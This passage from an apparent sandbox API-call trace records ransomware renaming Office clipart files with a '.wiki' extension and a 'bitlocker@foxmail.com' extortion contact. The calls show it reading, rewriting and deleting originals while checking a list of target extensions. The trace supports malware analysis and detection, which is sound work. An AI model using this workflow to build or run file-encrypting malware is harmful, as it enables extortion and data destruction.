office\\clipart\\pub60cor\\fd00419_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.613] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.613] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0188.613] GetLastError () returned 0x0 [0188.613] ReadFile (in: hFile=0x1d0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x400c, lpOverlapped=0x0) returned 1 [0188.615] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x4010, lpOverlapped=0x0) returned 1 [0188.616] ReadFile (in: hFile=0x1d0, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.616] WriteFile (in: hFile=0x1e0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.616] SetEndOfFile (hFile=0x1e0) returned 1 [0188.617] CloseHandle (hObject=0x1e0) returned 1 [0188.617] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.617] SetEndOfFile (hFile=0x1d0) returned 1 [0188.618] CloseHandle (hObject=0x1d0) returned 1 [0188.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf")) returned 1 [0188.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0188.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0188.618] lstrlenW (lpString=".doc") returned 4 [0188.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.618] lstrlenW (lpString=".docx") returned 5 [0188.618] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.618] lstrlenW (lpString=".pdf") returned 4 [0188.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.618] lstrlenW (lpString=".xls") returned 4 [0188.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.618] lstrlenW (lpString=".xlsx") returned 5 [0188.618] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.618] lstrlenW (lpString=".ppt") returned 4 [0188.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0188.618] lstrlenW (lpString=".zip") returned 4 [0188.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.619] lstrlenW (lpString=".rar") returned 4 [0188.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.619] lstrlenW (lpString=".bz2") returned 4 [0188.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.619] lstrlenW (lpString=".7z") returned 3 [0188.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0188.619] lstrlenW (lpString=".dbf") returned 4 [0188.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0188.619] lstrlenW (lpString=".1cd") returned 4 [0188.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0188.619] lstrlenW (lpString=".jpg") returned 4 [0188.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0188.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0188.619] lstrlenW (lpString=".doc") returned 4 [0188.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.619] lstrlenW (lpString=".docx") returned 5 [0188.619] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.619] lstrlenW (lpString=".pdf") returned 4 [0188.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.619] lstrlenW (lpString=".xls") returned 4 [0188.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.619] lstrlenW (lpString=".xlsx") returned 5 [0188.619] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.619] lstrlenW (lpString=".ppt") returned 4 [0188.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0188.734] lstrlenW (lpString=".zip") returned 4 [0188.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.734] lstrlenW (lpString=".rar") returned 4 [0188.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.734] lstrlenW (lpString=".bz2") returned 4 [0188.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.734] lstrlenW (lpString=".7z") returned 3 [0188.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0188.735] lstrlenW (lpString=".dbf") returned 4 [0188.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0188.735] lstrlenW (lpString=".1cd") returned 4 [0188.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0188.735] lstrlenW (lpString=".jpg") returned 4 [0188.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.735] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.735] lstrlenW (lpString="FD00438_.WMF") returned 12 [0188.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0188.819] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5098) returned 1 [0188.819] CloseHandle (hObject=0x218) returned 1 [0188.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x20 [0188.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0188.819] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.834] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0188.836] GetLastError () returned 0x0 [0188.836] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x13ea, lpOverlapped=0x0) returned 1 [0188.903] WriteFile (in: hFile=0x21c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x13f0, lpOverlapped=0x0) returned 1 [0188.904] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.904] WriteFile (in: hFile=0x21c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.904] SetEndOfFile (hFile=0x21c) returned 1 [0188.904] CloseHandle (hObject=0x21c) returned 1 [0188.904] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.904] SetEndOfFile (hFile=0x218) returned 1 [0188.905] CloseHandle (hObject=0x218) returned 1 [0188.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf")) returned 1 [0188.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0188.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0188.906] lstrlenW (lpString=".doc") returned 4 [0188.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.906] lstrlenW (lpString=".docx") returned 5 [0188.906] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.906] lstrlenW (lpString=".pdf") returned 4 [0188.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.906] lstrlenW (lpString=".xls") returned 4 [0188.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.906] lstrlenW (lpString=".xlsx") returned 5 [0188.906] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.906] lstrlenW (lpString=".ppt") returned 4 [0188.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0188.906] lstrlenW (lpString=".zip") returned 4 [0188.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.906] lstrlenW (lpString=".rar") returned 4 [0188.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.906] lstrlenW (lpString=".bz2") returned 4 [0188.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.906] lstrlenW (lpString=".7z") returned 3 [0188.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0188.906] lstrlenW (lpString=".dbf") returned 4 [0188.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0188.906] lstrlenW (lpString=".1cd") returned 4 [0188.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0188.906] lstrlenW (lpString=".jpg") returned 4 [0188.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0188.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0188.907] lstrlenW (lpString=".doc") returned 4 [0188.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.907] lstrlenW (lpString=".docx") returned 5 [0188.907] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.907] lstrlenW (lpString=".pdf") returned 4 [0188.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.907] lstrlenW (lpString=".xls") returned 4 [0188.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.907] lstrlenW (lpString=".xlsx") returned 5 [0188.907] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.907] lstrlenW (lpString=".ppt") returned 4 [0188.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0188.907] lstrlenW (lpString=".zip") returned 4 [0188.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.907] lstrlenW (lpString=".rar") returned 4 [0188.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.907] lstrlenW (lpString=".bz2") returned 4 [0188.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.907] lstrlenW (lpString=".7z") returned 3 [0188.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0188.907] lstrlenW (lpString=".dbf") returned 4 [0188.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0188.907] lstrlenW (lpString=".1cd") returned 4 [0188.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0188.907] lstrlenW (lpString=".jpg") returned 4 [0188.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.908] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.908] lstrlenW (lpString="FD00775_.WMF") returned 12 [0188.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0188.908] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=11152) returned 1 [0188.908] CloseHandle (hObject=0x218) returned 1 [0188.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x20 [0188.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0188.908] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.908] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0188.909] GetLastError () returned 0x0 [0188.909] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x2b90, lpOverlapped=0x0) returned 1 [0188.964] WriteFile (in: hFile=0x21c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2ba0, lpOverlapped=0x0) returned 1 [0188.965] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.965] WriteFile (in: hFile=0x21c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.965] SetEndOfFile (hFile=0x21c) returned 1 [0188.965] CloseHandle (hObject=0x21c) returned 1 [0188.965] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.965] SetEndOfFile (hFile=0x218) returned 1 [0188.966] CloseHandle (hObject=0x218) returned 1 [0188.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf")) returned 1 [0188.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0188.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0188.966] lstrlenW (lpString=".doc") returned 4 [0188.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.966] lstrlenW (lpString=".docx") returned 5 [0188.966] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.966] lstrlenW (lpString=".pdf") returned 4 [0188.966] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.966] lstrlenW (lpString=".xls") returned 4 [0188.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.967] lstrlenW (lpString=".xlsx") returned 5 [0188.967] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.967] lstrlenW (lpString=".ppt") returned 4 [0188.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0188.967] lstrlenW (lpString=".zip") returned 4 [0188.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.967] lstrlenW (lpString=".rar") returned 4 [0188.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.967] lstrlenW (lpString=".bz2") returned 4 [0188.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.967] lstrlenW (lpString=".7z") returned 3 [0188.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0188.967] lstrlenW (lpString=".dbf") returned 4 [0188.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0188.967] lstrlenW (lpString=".1cd") returned 4 [0188.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0188.967] lstrlenW (lpString=".jpg") returned 4 [0188.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0188.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0188.967] lstrlenW (lpString=".doc") returned 4 [0188.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.967] lstrlenW (lpString=".docx") returned 5 [0188.967] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.967] lstrlenW (lpString=".pdf") returned 4 [0188.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.967] lstrlenW (lpString=".xls") returned 4 [0188.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.968] lstrlenW (lpString=".xlsx") returned 5 [0188.968] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.968] lstrlenW (lpString=".ppt") returned 4 [0188.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0188.968] lstrlenW (lpString=".zip") returned 4 [0188.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.968] lstrlenW (lpString=".rar") returned 4 [0188.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.968] lstrlenW (lpString=".bz2") returned 4 [0188.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.968] lstrlenW (lpString=".7z") returned 3 [0188.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0188.968] lstrlenW (lpString=".dbf") returned 4 [0188.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0188.968] lstrlenW (lpString=".1cd") returned 4 [0188.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0188.968] lstrlenW (lpString=".jpg") returned 4 [0188.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.968] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.968] lstrlenW (lpString="FD00814_.WMF") returned 12 [0188.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0188.969] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=42704) returned 1 [0188.969] CloseHandle (hObject=0x218) returned 1 [0188.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x20 [0188.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0188.969] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.969] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, 